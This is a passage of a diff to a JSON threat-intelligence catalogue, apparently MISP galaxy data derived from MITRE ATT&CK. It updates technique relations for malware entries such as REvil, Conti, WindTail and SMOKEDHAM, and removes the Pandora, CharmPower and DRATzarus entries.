"2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "dest-uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59051,7 +56883,21 @@ "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "60623164-ccd8-4508-a141-b5a34820b3de", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59071,13 +56917,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", "tags": [ @@ -59093,7 +56932,21 @@ "type": "uses" }, { - "dest-uuid": "939808a7-121d-467a-b028-4441ee8b7cee", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59114,7 +56967,7 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59128,7 +56981,14 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59149,14 +57009,7 @@ "type": "uses" }, { - "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59170,21 +57023,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59666,21 +57512,14 @@ }, "related": [ { - "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59693,6 +57532,20 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -59701,7 +57554,7 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59715,7 +57568,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59742,13 +57595,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -59757,7 +57603,14 @@ "type": "uses" }, { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59940,117 +57793,6 @@ "uuid": "599cd7b5-37b5-4cdd-8174-2811531ce9d0", "value": "SpicyOmelette - S0646" }, - { - "description": "[Pandora](https://attack.mitre.org/software/S0664) is a multistage kernel rootkit with backdoor functionality that has been in use by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)", - "meta": { - "external_id": "S0664", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0664", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html" - ], - "synonyms": [ - "Pandora" - ] - }, - "related": [ - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "565275d5-fcc3-4b66-b4e7-928e4cac6b8c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "a545456a-f9a7-47ad-9ea6-8b017def38d1", - "value": "Pandora - S0664" - }, { "description": "[WindTail](https://attack.mitre.org/software/S0466) is a macOS surveillance implant used by [Windshift](https://attack.mitre.org/groups/G0112). [WindTail](https://attack.mitre.org/software/S0466) shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)", "meta": { @@ -60171,194 +57913,6 @@ "uuid": "0d1f9f5b-11ea-42c3-b5f4-63cce0122541", "value": "WindTail - S0466" }, - { - "description": "[CharmPower](https://attack.mitre.org/software/S0674) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Check Point APT35 CharmPower January 2022)", - "meta": { - "external_id": "S0674", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0674", - "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/" - ], - "synonyms": [ - "CharmPower" - ] - }, - "related": [ - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", - "value": "CharmPower - S0674" - }, { "description": "[TajMahal](https://attack.mitre.org/software/S0467) is a multifunctional spying framework that has been in use since at least 2014. [TajMahal](https://attack.mitre.org/software/S0467) is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.(Citation: Kaspersky TajMahal April 2019)", "meta": { @@ -61399,118 +58953,7 @@ "value": "SMOKEDHAM - S0649" }, { - "description": "[DRATzarus](https://attack.mitre.org/software/S0694) is a remote access tool (RAT) that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) to target the defense and aerospace organizations globally since at least summer 2020. [DRATzarus](https://attack.mitre.org/software/S0694) shares similarities with [Bankshot](https://attack.mitre.org/software/S0239), which was used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in 2017 to target the Turkish financial sector.(Citation: ClearSky Lazarus Aug 2020)", - "meta": { - "external_id": "S0694", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0694", - "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf" - ], - "synonyms": [ - "DRATzarus" - ] - }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "56aa3c82-ed40-4b5a-84bf-7231356d9e96", - "value": "DRATzarus - S0694" - }, - { - "description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", + "description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", "meta": { "external_id": "S0496", "mitre_platforms": [ @@ -61936,21 +59379,14 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -61971,21 +59407,21 @@ "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62011,6 +59447,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "aecc0097-c9f8-4786-9b39-e891ff173f54", @@ -62251,14 +59701,14 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62278,13 +59728,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -62293,7 +59736,28 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62306,13 +59770,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -62335,14 +59792,14 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62551,14 +60008,7 @@ }, "related": [ { - "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62572,7 +60022,7 @@ "type": "uses" }, { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62585,13 +60035,6 @@ ], "type": "uses" }, - { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -62599,6 +60042,13 @@ ], "type": "uses" }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -62606,6 +60056,20 @@ ], "type": "uses" }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -62619,6 +60083,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "a0d774e4-bafc-4292-8651-3ec899391341", @@ -62641,7 +60112,7 @@ }, "related": [ { - "dest-uuid": "24a77e53-0751-46fc-b207-99378fb35c08", + "dest-uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62654,20 +60125,6 @@ ], "type": "uses" }, - { - "dest-uuid": "37047267-3e56-453c-833e-d92b68118120", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -62675,13 +60132,6 @@ ], "type": "uses" }, - { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -62703,13 +60153,6 @@ ], "type": "uses" }, - { - "dest-uuid": "939808a7-121d-467a-b028-4441ee8b7cee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -62718,7 +60161,7 @@ "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62732,7 +60175,21 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62745,6 +60202,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -62753,14 +60217,14 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62841,7 +60305,7 @@ "value": "Raindrop - S0565" }, { - "description": "[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. [Conti](https://attack.mitre.org/software/S0575) has been deployed via [TrickBot](https://attack.mitre.org/software/S0266) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)", + "description": "[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service that was first observed in December 2019, and has being distributed via [TrickBot](https://attack.mitre.org/software/S0266). It has been used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)", "meta": { "external_id": "S0575", "mitre_platforms": [ @@ -63347,6 +60811,13 @@ ], "type": "uses" }, + { + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb", "tags": [ @@ -63438,13 +60909,6 @@ ], "type": "uses" }, - { - "dest-uuid": 